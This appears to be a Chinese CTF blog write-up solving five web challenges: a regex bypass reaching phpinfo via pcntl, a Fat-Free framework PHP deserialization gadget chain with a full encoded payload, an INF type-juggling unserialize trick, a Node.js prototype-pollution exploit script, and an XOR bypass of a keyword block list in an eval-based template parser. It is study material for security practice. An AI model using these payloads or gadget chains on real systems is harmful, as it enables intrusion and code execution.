源码给出:
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
当pcntl_fork()创建子进程成功后,在父进程内,返回子进程号,在子进程内返回0,失败则返回-1
我们要让程序进入主线程的执行,就得让当前线程挂掉,不过正则原因a没办法传进程类的函数,不过通过套一个call_user_func
我们就能达成绕过正则。
pcntl_wait
pcntl_waitpid
上面两个函数都能让当前线程挂起,随意调用哪一个都行。
http://eci-2ze4ps1zb1ad4frxtae2.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid
flag{b33c626e-c4ca-449e-b011-3d6399396d1c}
源码泄露,主页有个反序列化点。
搜入口点找到cli\ws.php
:
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
func
可控,不过链了一个server
,我们可以直接控制events来让func可控。
$func($this);
,先找找看call,这里可以搜下找到db\sql\mapper.php
比较有意思:
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
props
可控,再找找搜下找到一个find方法:
foreach ($this->adhoc as $key=>$field)
$this->db->quotekey($key);
db可控,只要db不存在quotekey
则调用db的call了,因为两个点都在同一个类里面,直接嵌套。
props
跟adhoc
是可控的,我们往props
里面压一个键为quotekey
的数组,值就是我们要调用的方法了;adhoc
数组的键则是调用的参数。
使用agent类需要通过base autoload 函数加载 /lib/ws.php才能用,需要套一层ws。
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"phpinfo"],
$adhoc=[-1=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected $server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=$this;
}
}
class WS{}
}
namespace {
$a = new \CLI\WS();
$a->a = new \CLI\Agent();
echo urlencode(serialize($a));
}
payload:
O%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A2%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D
flag依旧phpinfo。
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
弱类型。
md5相等且长度较短说明常规做法都没办法,要的就是两个不同类型的变量被当成字符串处理时是相同,但在做强弱类型比较时所代表的含义不相同。
这里做了转型:
$this->trick1 = (string)$this->trick1;
php里面溢出会有一个inf,做比较时强弱类型比较都不是代表字符串。
double(INF)
payload:
class trick{
public $trick1=1/0;
public $trick2=1/0;
public function __destruct(){
// $this->trick1 = (string)$this->trick1;
// if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
// die("你太长了");
// }
// if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
// "flag";
// }
}
}
$tr = new trick();
echo serialize($tr);
http://eci-2zeii3a0go4aj5xxe1uc.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}
flag{9f9303b3-a793-47bc-9033-387cd91acdab}
源码(部分):
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
可以看到拿flag需要密码,但密码在环境中没办法取到,先看SpawnPoint
这个路由默认给我们设置了一个字典,然后又跑到Privilege
,这里调用了setFn
,本地测试发现就是给我们在knight
这个字典上面设置键值对,感觉有点原型链污染的意思, 找找这个项目会发现用法:
const obj = {};
set(obj, 'a.b.c', 'd');
console.log(obj);
//=> { a: { b: { c: 'd' } } }
简直是给原型链污染打造的,knight跟admin都是字典,直接给他们加上一个键值对。
{"NewAttributeKey":"__proto__.hhhm","NewAttributeValue":"hhhm"}
访问key[hhhm]就出来hhhm
payload:
import threading
import requests
import time
url = "http://eci-2zebqdx3ky4mm9liybu4.cloudeci1.ichunqiu.com:8888"
req = requests.session()
req.get(url+"/SpawnPoint")
def sendPayload():
r = req.post(url+"/DeveloperControlPanel",json={"key":"hhhm","password":"hhhm"})
print(r.text)
r = req.post(url+"/Privilege",json={"NewAttributeKey":"__proto__.hhhm","NewAttributeValue":"hhhm"})
print(r.text)
threading.Thread(target=sendPayload).start()
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
先是第一个正则标识了模板格式:
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
{if:(字符串)}(){end if}
后面正则滤了不可见字符,因为最后调用了eval,可以用可见字符来异或生成phpinfo。
<?php
for($i=33;$i<127;$i++){
for($j=33;$j<127;$j++){
echo sprintf("%s^%s",chr($i),chr($j))."=>".(chr($i)^chr($j))."\n";
}
}
?>
套入模板中:
{if: ('SSSS|Ry'^'%23%3b%23%3a246')()}(){end%20%20 if}
flag依旧在phpinfo里面。
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/